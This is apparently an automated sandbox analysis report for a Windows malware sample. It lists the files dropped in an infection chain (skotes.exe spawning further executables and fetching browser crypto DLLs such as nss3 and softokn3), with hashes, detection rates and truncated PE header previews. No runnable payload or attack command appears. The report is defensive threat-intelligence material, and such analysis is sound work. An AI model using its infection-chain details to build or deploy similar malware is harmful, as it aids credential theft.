C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1877504
Entropy (8bit):	7.947655881846886
Encrypted:	false
SSDEEP:	49152:Jar+EtJGbzC23KyeUZeOupqb6mRBQcTXuQaynYQYsypAOH:gr+A+Ky7Zpupq7T+QDYpsiAO
MD5:	39056519241048010FBA1480BF5D5CD3
SHA1:	F0283822716B9EEDABCDA608ED38BC5B0991B383
SHA-256:	B81816637B651AC1F6790A8AE19CBF952951A656DF586960A4227E568901D55D
SHA-512:	D2B6D09560F28CA9AD1E5F04B175C769264058DB53E1EF1F7A8909BB0374AD00BD4629E97EF1C3FA25B5D2728951AFB0FA2F50A85527037E4F37B77457B2AD0B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................J...........@...........................J.....eG....@.................................\p..p............................q...................................................................................... . .P.......^..................@....rsrc .....`.......n..............@....idata .....p.......n..............@... . +..........p..............@...qqnpmrdy......0......r..............@...swjrogvg......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1903616
Entropy (8bit):	7.951228386553146
Encrypted:	false
SSDEEP:	49152:P2VKHlPtXQxOpYkv5bhxX84iAMEoatUvyuCy9CIwD:P2mtg4+kvBNKzatUquL9CV
MD5:	6232A1AA692FE2B9F3F8E67D35C7DAB7
SHA1:	87DC7BD254CAC48669668A1833C10B8AAB3775BE
SHA-256:	A7CF50803925ABF03BCD899B82745E472E99963B2CD8063AA44249BD6C75395F
SHA-512:	C29F2E3B76FE7C2EF81370990B02EE978B81F8CEEBB191CC218672184AD7FD5046D8088BCC954F62B05F72255CE15D89C909C99CA3D2AB6D097725D13736300A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K......V....@.................................W...k.......H...................d.K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...luuuoucb......1.....................@...eogwbmei......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4404224
Entropy (8bit):	7.982001400756089
Encrypted:	false
SSDEEP:	98304:Rw6KaeYjBOfsJGtc1JQ1hl6ulpWE1Vz5VIw+LTiBNZq/sae4t1F+y:a6Kj6BQsJG6jQ1hflBvXInLEbsTe+L
MD5:	ABF203DD0126AD56347D05E2C0F48322
SHA1:	B6EFEE54668E99435319D65F634459EB561C1491
SHA-256:	987B2A963FEACA33452AC5DDA999E1447F2732014C71C3BC3F5CED7D3227886A
SHA-512:	9C0F42D430A1DF1B6B87CB3414DC0AC72524958B4CB4C080BAC083FFEF4948C011D26C20291AE2E5E46B1DBD20EB325E8657C067FFFC9094FF5C0ADF12A4E4E1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2... ........J...@..........................P......!.C...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... .p8...q.......'.............@...byaebdxw..............'.............@...ccdsmily..............C.............@....taggant.0... ..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1877504
Entropy (8bit):	7.947655881846886
Encrypted:	false
SSDEEP:	49152:Jar+EtJGbzC23KyeUZeOupqb6mRBQcTXuQaynYQYsypAOH:gr+A+Ky7Zpupq7T+QDYpsiAO
MD5:	39056519241048010FBA1480BF5D5CD3
SHA1:	F0283822716B9EEDABCDA608ED38BC5B0991B383
SHA-256:	B81816637B651AC1F6790A8AE19CBF952951A656DF586960A4227E568901D55D
SHA-512:	D2B6D09560F28CA9AD1E5F04B175C769264058DB53E1EF1F7A8909BB0374AD00BD4629E97EF1C3FA25B5D2728951AFB0FA2F50A85527037E4F37B77457B2AD0B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................J...........@...........................J.....eG....@.................................\p..p............................q...................................................................................... . .P.......^..................@....rsrc .....`.......n..............@....idata .....p.......n..............@... . +..........p..............@...qqnpmrdy......0......r..............@...swjrogvg......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1792512
Entropy (8bit):	7.944188978912843
Encrypted:	false
SSDEEP:	49152:eZVwZPBu0P7eKyJFw0RfC4xtyZZ3z5Xz+lQQCf2cj9:eV+PBbLdCbDY3t2HG
MD5:	B3CEC29DFCC248BC4F4F33FF5BA14470
SHA1:	389DC1F719B34841EAA55C8E81CE0F773FEA3ACF
SHA-256:	841E3AB686E632551E2229D68366490832987AB47D308C54F6817F3E13A5FF52
SHA-512:	85803678EE823025990A8377B0B51335BE58365BC1FCABFF37E4ED1330B93438BBBB94E40908F3CCAEA4631BA5D155D0391198EE3639630BD981CFEDFDC5828A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g....................."........h...........@...........................h.....6[....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .0*...$......v..............@...tcmgcthi......N......x..............@...suhmtczi......h......4..............@....taggant.0....h.."...8..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592697144061893
Encrypted:	false
SSDEEP:	12288:3qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgamT1M:3qDEvCTbMWu7rQYlBQcBiT6rprG8a+a
MD5:	8952118CBD8AAC309AF40B7BA020AC8E
SHA1:	9EB96E51892C77F644997905D5A7B680558E0AA0
SHA-256:	F896925D010797327E622E095FC75605E3CCCF9C842577DB3C3AA9FC1DEC522A
SHA-512:	4199640D12798C108F09D9007F29FD2F4F5A075986B5E257C5629DDE340717D0199A92601262C020A55E6AB370C8F26E88C35D5A547FC02818244590502926C8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...H.<g.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2766848
Entropy (8bit):	6.491237591153825
Encrypted:	false
SSDEEP:	49152:6jb3j1kXfkYRoRPxTUo+Fe59czFy0VuKxtTGMcq34r:6nj1kPkYRodxTUoWU9j0oKzTvY
MD5:	333B260426A661DCADD5C016AB149ECB
SHA1:	0F87CEC4227CF24CDEA86A82B632D45488875E77
SHA-256:	AFCC403016C3FBBB10E732010BBC93854C1E1BE63DF48C91901ACD7E05AA0E2C
SHA-512:	9E53484A98183723E63359EA714DEA7B48D0EF43AE26A426FB0889DC1320B3B57F3876546ED4C49284CC79AB52F0B240954EB16B8BE3CA392570D7010872B458
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ihewwctv..).......)..:..............@...macjzflx. ........................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007502001\f72eb1bfa4.exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1792512
Entropy (8bit):	7.944188978912843
Encrypted:	false
SSDEEP:	49152:eZVwZPBu0P7eKyJFw0RfC4xtyZZ3z5Xz+lQQCf2cj9:eV+PBbLdCbDY3t2HG
MD5:	B3CEC29DFCC248BC4F4F33FF5BA14470
SHA1:	389DC1F719B34841EAA55C8E81CE0F773FEA3ACF
SHA-256:	841E3AB686E632551E2229D68366490832987AB47D308C54F6817F3E13A5FF52
SHA-512:	85803678EE823025990A8377B0B51335BE58365BC1FCABFF37E4ED1330B93438BBBB94E40908F3CCAEA4631BA5D155D0391198EE3639630BD981CFEDFDC5828A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g....................."........h...........@...........................h.....6[....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .0*...$......v..............@...tcmgcthi......N......x..............@...suhmtczi......h......4..............@....taggant.0....h.."...8..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007503001\65c2c3d4c3.exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592697144061893
Encrypted:	false
SSDEEP:	12288:3qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgamT1M:3qDEvCTbMWu7rQYlBQcBiT6rprG8a+a
MD5:	8952118CBD8AAC309AF40B7BA020AC8E
SHA1:	9EB96E51892C77F644997905D5A7B680558E0AA0
SHA-256:	F896925D010797327E622E095FC75605E3CCCF9C842577DB3C3AA9FC1DEC522A
SHA-512:	4199640D12798C108F09D9007F29FD2F4F5A075986B5E257C5629DDE340717D0199A92601262C020A55E6AB370C8F26E88C35D5A547FC02818244590502926C8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...H.<g.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007504001\47f677ba64.exe

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2766848
Entropy (8bit):	6.491237591153825
Encrypted:	false
SSDEEP:	49152:6jb3j1kXfkYRoRPxTUo+Fe59czFy0VuKxtTGMcq34r:6nj1kPkYRodxTUoWU9j0oKzTvY
MD5:	333B260426A661DCADD5C016AB149ECB
SHA1:	0F87CEC4227CF24CDEA86A82B632D45488875E77
SHA-256:	AFCC403016C3FBBB10E732010BBC93854C1E1BE63DF48C91901ACD7E05AA0E2C
SHA-512:	9E53484A98183723E63359EA714DEA7B48D0EF43AE26A426FB0889DC1320B3B57F3876546ED4C49284CC79AB52F0B240954EB16B8BE3CA392570D7010872B458
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ihewwctv..).......)..:..............@...macjzflx. ........................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1903616
Entropy (8bit):	7.951228386553146
Encrypted:	false
SSDEEP:	49152:P2VKHlPtXQxOpYkv5bhxX84iAMEoatUvyuCy9CIwD:P2mtg4+kvBNKzatUquL9CV
MD5:	6232A1AA692FE2B9F3F8E67D35C7DAB7
SHA1:	87DC7BD254CAC48669668A1833C10B8AAB3775BE
SHA-256:	A7CF50803925ABF03BCD899B82745E472E99963B2CD8063AA44249BD6C75395F
SHA-512:	C29F2E3B76FE7C2EF81370990B02EE978B81F8CEEBB191CC218672184AD7FD5046D8088BCC954F62B05F72255CE15D89C909C99CA3D2AB6D097725D13736300A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K......V....@.................................W...k.......H...................d.K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...luuuoucb......1.....................@...eogwbmei......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Reputation:	unknown
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\service123.exe

Process:	C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.00234057762599113
Encrypted:	false
SSDEEP:	768:lWE9OaBxc0AJF8JAfPrYU3HcW534/lVBilJ7xbAOxuz/kQ:/xBxcEJAfPrYSHcW6/CdBuz7
MD5:	9D00DF14EED4230877C1EF0A679A8E70
SHA1:	F874289FCC1BA995D94FF43D115826B18232FAE1
SHA-256:	05466AC3A1F09726E552D0CBF3BAC625A7EB7944CEDF812F60B066DCBD74AFB1
SHA-512:	017F4987A0C9BCA49A299C6C3DC940AE3C0C2FD4B7DD78D03C3B65AD0B766231D68DC9F8CDE5A9F20186DDF1B642918361D44473D4B313B2E62D00648AD57D36
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v.<g...............(.v........................@.......................... ...........@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpaddon

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	453023
Entropy (8bit):	7.997718157581587
Encrypted:	true
SSDEEP:
MD5:	85430BAED3398695717B0263807CF97C
SHA1:	FFFBEE923CEA216F50FCE5D54219A188A5100F41
SHA-256:	A9F4281F82B3579581C389E8583DC9F477C7FD0E20C9DFC91A2E611E21E3407E
SHA-512:	06511F1F6C6D44D076B3C593528C26A602348D9C41689DBF5FF716B671C3CA5756B12CB2E5869F836DEDCE27B1A5CFE79B93C707FD01F8E84B620923BB61B5F1
Malicious:	false
Reputation:	unknown
Preview:	PK.........bN...R..........gmpopenh264.dll..\|.E.0.=..I.....1....4f1q.`.........q.....'+....hm{.z..o_.{w........$..($A!...\|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....\|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`............ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\...........-i.K.I..4.a..6.....Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N..}..).3.N%.!..q........^I.m..~...6.#.~+.....A...I]r...x...<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..\|c.1.cUkM.&.Qn]..a]t.h...!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:\|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll

Process:	C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315803136
Entropy (8bit):	0.05437538209626748
Encrypted:	false
SSDEEP:
MD5:	6D00EFFE2881E2732BE5803A1A4C9356
SHA1:	3E67777029187539CABBE5A51563B78130E48925
SHA-256:	C11792DFC9F60EE410C105F2E44E32019AA128F6E1714DEFB1812956DAF3113C
SHA-512:	19C14A13FC1D3714EF5B61C53B665A630D131DFA6562BC1DC516D18D8DBCFC5DA66EF92D5D2AC3D996AF52B9B263CCE0618EDA8FBCA163EB79448B87F51D90C5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....<g...........#...(...........................n.........................@......0.....@... .........................`.......................................Hz...........................=.........................t............................text...8...........................`..`.data...............................@....rdata..............................@..@.eh_framX...........................@..@.bss.........p...........................edata..`............:..............@..@.idata...............<..............@....CRT....,............F..............@....tls.................H..............@....reloc..Hz.......\|...J..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.927149349422579
Encrypted:	false
SSDEEP:
MD5:	283E9D5DD07CFE2A2BD0F62E103E970E
SHA1:	541440B505D9B22B5475D726D80FE998FAC7ED7E
SHA-256:	C486B2446A461D15C01CF3C50B32D3ECE4B4EC7A6038C1691BD00026DC2F63A8
SHA-512:	CB4D8CD326FA2C7262192AE00D9887E44386C50987842CEF6461185C50DFCE590EACC220EC45BAD06E4BF24B925AC9FDD0176DD8999F98229C0F9512F3ABE084
Malicious:	false
Reputation:	unknown
